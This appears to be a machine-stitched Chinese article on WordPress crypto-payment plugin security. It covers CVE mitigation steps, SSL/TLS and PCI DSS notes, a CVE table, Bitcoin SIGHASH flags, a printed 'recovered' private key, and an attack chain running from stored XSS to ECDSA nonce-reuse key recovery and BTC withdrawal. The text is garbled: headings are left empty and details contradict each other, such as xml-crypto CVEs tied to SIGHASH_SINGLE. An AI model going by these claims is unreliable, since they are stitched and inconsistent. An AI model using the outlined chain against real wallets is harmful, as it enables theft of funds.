CoinGate 是一款值得信赖的区块链支付处理器: g2+2
MyCryptoCheckout 是一款注重隐私的插件: instawp+2
ABC Crypto Checkout – 直接加密货币支付: crocoblock+1
1. 恶意软件扫描: solidwp+1
2. 检查管理员账户: wordfence+1
3. 访问日志分析: wp-rocket+1
1. 定期审计已安装的插件: patchstack+2
2. 实施插件管理策略: wp-eventmanager+1
3. 自动化安全更新: wp-eventmanager+1
针对 CVE-2025-26541 (CodeSolz):
CVE-2025-26541 是与 CodeSolz 产品相关的漏洞标识符。此 漏洞 对使用该软件的资源构成重大安全威胁,因为它允许攻击者未经授权访问管理功能或在易受攻击的系统实例上执行恶意操作。
1. 立即将 CodeSolz 更新到 1.7.7 或更高版本
CodeSolz 官方开发人员已从 1.7.7 版本开始发布了针对 CVE-2025-26541 的补丁。被利用的漏洞已得到修复,显著降低了被入侵的风险。应立即将该更新应用于所有 CodeSolz 实例,尤其是当系统暴露于外部访问或用于企业基础设施时。
2. 检查可疑的管理员账户
CVE-2025-26541 漏洞利用的标志之一就是出现新的、未经授权的管理员账户。需要采取以下措施:
此外,建议为所有管理员账户启用双因素身份验证,并对权限进行分段,以降低潜在损害。
3. 审查访问日志中的异常活动
一旦检测到或怀疑存在漏洞利用,必须审查系统日志:
现代日志系统提供按事件、时间、IP 地址和活动类型进行筛选的功能,可显著加快分析速度。
对所有处理支付的网站而言,使用 256 位加密的 SSL/TLS 证书是一项基本要求。现代 SSL 证书使用 TLS 1.2 或更高版本,可在用户浏览器与 Web 服务器之间提供可靠的数据加密。SSL/TLS 连接中使用的 256 位 AES(高级加密标准)加密按现代标准被认为是完全安全的——暴力破解此类加密所需的时间超过了宇宙的年龄。
SSL/TLS 实施要点:
除基本安全性外,SSL 证书对 SEO 也至关重要:Google 在搜索结果中优先显示 HTTPS 网站,而浏览器会对 HTTP 网站显示“不安全”警告,这直接影响用户信任度和转化率。
支付卡行业数据安全标准 (PCI DSS) 是任何接受银行卡支付的商户都必须遵守的一套包含 12 项安全要求的标准。这些要求分为六大类: wpeasypay+2
1. 创建并维护安全的网络基础设施
2. 保护持卡人数据
| CVE 标识符 | 组件 | CVSS 分数 | 严重性 |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | 严重 |
| CVE-2025-29775 | xml-crypto DigestValue 绕过 | 9.3 | 严重 |
| CVE-2025-48102 | GoUrl 比特币支付网关(存储型 XSS) | 5.9 | 中等 |
| CVE-2025-26541 | CodeSolz WooCommerce 网关(反射型 XSS) | 6.1 | 中等 |
| SIGHASH_ALL | 0x01 | 对交易的所有输入和输出进行签名。 |
| SIGHASH_NONE | 0x02 | 所有输入均已签名,输出未签名。 |
| SIGHASH_SINGLE | 0x03 | 仅对与输入具有相同索引的输出进行签名。 |
| SIGHASH_ANYONECANPAY | 0x80 | 修饰符:仅对当前输入进行签名 |
| 已恢复的私钥(WIF 压缩格式) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| 已恢复的私钥(十进制) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
| 阶段 | 操作 | 被利用的漏洞 |
|---|---|---|
| 1 | 向支付网关注入恶意 JavaScript | CVE-2025-48102(存储型 XSS) |
| 2 | 拦截 交易的 ECDSA 参数 (r, s) | JavaScript 注入 |
| 3 | 分析收集到的签名以查找 nonce 重复 | 密码分析 |
| 4 | 通过数学方法恢复私钥 | 幻影签名攻击 |
| 5 | 不受控制的 BTC 提取 | 钱包失陷 |